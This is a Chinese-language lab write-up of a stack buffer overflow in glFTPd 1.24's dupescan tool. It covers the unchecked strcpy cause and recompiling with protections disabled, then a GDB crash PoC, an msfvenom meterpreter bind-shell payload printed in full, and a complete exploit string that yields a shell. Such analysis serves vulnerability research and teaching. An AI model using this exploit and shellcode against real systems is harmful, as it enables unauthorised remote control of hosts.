glFTPd is a very advanced ftp server with lots of possibilities. One of the main differences between many other ftp servers and glFTPd is that it has its own user database which can be completely maintained online using ftp site commands. Using ftp site commands it is also possible to see stats, view logs, execute scripts and do many more things. glFTPd runs within a chroot environment which makes it relatively safe. The glFTPd team continuously works on improving this free piece of beautiful software.

0x01 漏洞描述

0x02 漏洞原理

1、源码

溢出点位于 dupescan.c 的 main() 函数中。调用 strcpy() 时未进行安全检查,导致缓冲区溢出。

2、编译

编译 ./glftpd-LNX_1.24/bin/sources 目录下的 dupescan.c 文件,生成 dupescan。gcc 命令如下:

1
gcc -Wall -g -z execstack -fno-stack-protector -no-pie -z norelro -o dupescan dupescan.c

编译完成后,查看 dupescan 安全机制开启情况:

1
2
3
4
5
6
7
8
$ checksec dupescan
[*] '/root/AEG_DataSet/glftpd-LNX_1.24/bin/sources/dupescan'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

3、汇编

查看 dupescan 汇编代码,溢出点如下图所示。可知,dupename[255] 地址为 rbp-0x110。

0x03 漏洞复现

基于以上分析,构造 PoC 并通过 GDB 对 dupescan 进行调试。

1
2
# gdb 加载 PoC
run $(python -c 'print "A"*272 + "BBBBBBBB" + "CCCCCC"')

PoC 成功导致栈溢出,查看崩溃现场,RBP 被覆盖为 0x4242424242424242、RIP 被覆盖为 0x0000434343434343。

0x04 Exploit

在编译 dupescan 时已关闭 NX、PIE 等安全选项,因此可使用 ret2text 的方式编写 Exp。

1、shellcode

使用 MSFvenom 生成 shellcode,shellcode 功能为监听本地 3333 端口,当客户端发起连接时返回 meterpreter。生成命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ msfvenom -a x64 --platform linux -p linux/x64/meterpreter/bind_tcp LPORT=3333 -b '\x00' -f python --smallest
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=19, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 128 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of python file: 586 bytes
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xc1\xd5\xa8\x54\x32\x5c\x5c"
buf += "\x27\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\xab\xfc\xf0\xcd\x58\x5e\x03\x4d\xc0\x8b\xa7\x51\x7a"
buf += "\xcb\x0e\xe0\xc5\xf1\xaa\x54\x3f\x59\x14\xae\x27\xbf"
buf += "\xb8\x0e\x58\x6d\x04\x28\xc4\x8c\xc2\x66\x6a\x53\x59"
buf += "\x6f\x57\xbf\x83\x0c\x3d\x59\x0c\x71\x9e\xbf\xa1\x0c"
buf += "\xab\xea\x4c\x6f\x48\x03\xe5\x65\xfb\x36\x7e\x66\x9b"
buf += "\x67\xaf\x5b\x37\x14\xca\x6f\x56\x8a\xa7\x51\xcd\xba"
buf += "\x5c\x27"

2、Exp

使用 0x7fffffffe0b0 作为返回地址。构造 Exp 如下:

1
$(python -c 'print "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xc1\xd5\xa8\x54\x32\x5c\x5c\x27\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xab\xfc\xf0\xcd\x58\x5e\x03\x4d\xc0\x8b\xa7\x51\x7a\xcb\x0e\xe0\xc5\xf1\xaa\x54\x3f\x59\x14\xae\x27\xbf\xb8\x0e\x58\x6d\x04\x28\xc4\x8c\xc2\x66\x6a\x53\x59\x6f\x57\xbf\x83\x0c\x3d\x59\x0c\x71\x9e\xbf\xa1\x0c\xab\xea\x4c\x6f\x48\x03\xe5\x65\xfb\x36\x7e\x66\x9b\x67\xaf\x5b\x37\x14\xca\x6f\x56\x8a\xa7\x51\xcd\xba\x5c\x27" + "A"*153 + "BBBBBBBB" + "\xb0\xe0\xff\xff\xff\x7f"')

使用 GDB 加载 dupescan 并执行 Exp,可在本地开启 3333 端口,并监听。

使用 MSF 连接靶机 3333 端口,即可获得靶机shell。

0x05 小结

本文简要分析了 glFTPd 栈溢出漏洞的成因,并通过 GDB 进行了复现。在此基础上,使用 MSF 生成具有 bind_tcp 功能的 shellcode,以 ret2text 的方式编写 Exp,最终获取到靶机的完全控制权限。

参考文献:

  1. glFTPd Home
  2. Linux: glFTPd Buffer Overflow Vulnerability
  3. Security Focus
  4. glFTPd (Slackware 9.0/9.1/10.0) - Local Stack Overflow